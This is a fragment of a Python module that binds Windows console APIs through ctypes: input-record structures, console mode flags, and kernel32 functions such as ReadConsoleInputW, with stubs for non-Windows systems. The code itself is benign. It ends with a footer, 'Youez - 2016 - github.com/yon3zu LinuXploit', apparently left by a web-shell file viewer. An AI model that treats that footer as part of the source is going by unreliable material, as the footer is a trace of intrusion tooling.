        ("UnicodeChar", WCHAR),
        ("Char", CHAR),
    ]


class KeyEvent(ctypes.Structure):
    _fields_ = [
        ("bKeyDown", BOOL),
        ("wRepeatCount", WORD),
        ("wVirtualKeyCode", WORD),
        ("wVirtualScanCode", WORD),
        ("uChar", Char),
        ("dwControlKeyState", DWORD),
    ]


class WindowsBufferSizeEvent(ctypes.Structure):
    _fields_ = [("dwSize", _COORD)]


class ConsoleEvent(ctypes.Union):
    _fields_ = [
        ("KeyEvent", KeyEvent),
        ("WindowsBufferSizeEvent", WindowsBufferSizeEvent),
    ]


class INPUT_RECORD(Structure):
    _fields_ = [("EventType", WORD), ("Event", ConsoleEvent)]


KEY_EVENT = 0x01
FOCUS_EVENT = 0x10
MENU_EVENT = 0x08
MOUSE_EVENT = 0x02
WINDOW_BUFFER_SIZE_EVENT = 0x04

ENABLE_PROCESSED_INPUT = 0x0001
ENABLE_LINE_INPUT = 0x0002
ENABLE_ECHO_INPUT = 0x0004
ENABLE_MOUSE_INPUT = 0x0010
ENABLE_INSERT_MODE = 0x0020
ENABLE_VIRTUAL_TERMINAL_INPUT = 0x0200

ENABLE_PROCESSED_OUTPUT = 0x01
ENABLE_WRAP_AT_EOL_OUTPUT = 0x02
ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x04

STD_INPUT_HANDLE = -10
STD_OUTPUT_HANDLE = -11

if sys.platform == "win32":
    _KERNEL32 = WinDLL("kernel32", use_last_error=True)

    GetStdHandle = windll.kernel32.GetStdHandle
    GetStdHandle.argtypes = [DWORD]
    GetStdHandle.restype = HANDLE

    GetConsoleScreenBufferInfo = _KERNEL32.GetConsoleScreenBufferInfo
    GetConsoleScreenBufferInfo.argtypes = [
        HANDLE,
        ctypes.POINTER(CONSOLE_SCREEN_BUFFER_INFO),
    ]
    GetConsoleScreenBufferInfo.restype = BOOL

    ScrollConsoleScreenBuffer = _KERNEL32.ScrollConsoleScreenBufferW
    ScrollConsoleScreenBuffer.argtypes = [
        HANDLE,
        POINTER(SMALL_RECT),
        POINTER(SMALL_RECT),
        _COORD,
        POINTER(CHAR_INFO),
    ]
    ScrollConsoleScreenBuffer.restype = BOOL

    GetConsoleMode = _KERNEL32.GetConsoleMode
    GetConsoleMode.argtypes = [HANDLE, POINTER(DWORD)]
    GetConsoleMode.restype = BOOL

    SetConsoleMode = _KERNEL32.SetConsoleMode
    SetConsoleMode.argtypes = [HANDLE, DWORD]
    SetConsoleMode.restype = BOOL

    ReadConsoleInput = _KERNEL32.ReadConsoleInputW
    ReadConsoleInput.argtypes = [HANDLE, POINTER(INPUT_RECORD), DWORD, POINTER(DWORD)]
    ReadConsoleInput.restype = BOOL

    GetNumberOfConsoleInputEvents = _KERNEL32.GetNumberOfConsoleInputEvents
    GetNumberOfConsoleInputEvents.argtypes = [HANDLE, POINTER(DWORD)]
    GetNumberOfConsoleInputEvents.restype = BOOL

    FlushConsoleInputBuffer = _KERNEL32.FlushConsoleInputBuffer
    FlushConsoleInputBuffer.argtypes = [HANDLE]
    FlushConsoleInputBuffer.restype = BOOL

    OutHandle = GetStdHandle(STD_OUTPUT_HANDLE)
    InHandle = GetStdHandle(STD_INPUT_HANDLE)
else:

    def _win_only(*args, **kwargs):
        raise NotImplementedError("Windows only")

    GetStdHandle = _win_only
    GetConsoleScreenBufferInfo = _win_only
    ScrollConsoleScreenBuffer = _win_only
    GetConsoleMode = _win_only
    SetConsoleMode = _win_only
    ReadConsoleInput = _win_only
    GetNumberOfConsoleInputEvents = _win_only
    FlushConsoleInputBuffer = _win_only
    OutHandle = 0
    InHandle = 0

Youez - 2016 - github.com/yon3zu
LinuXploit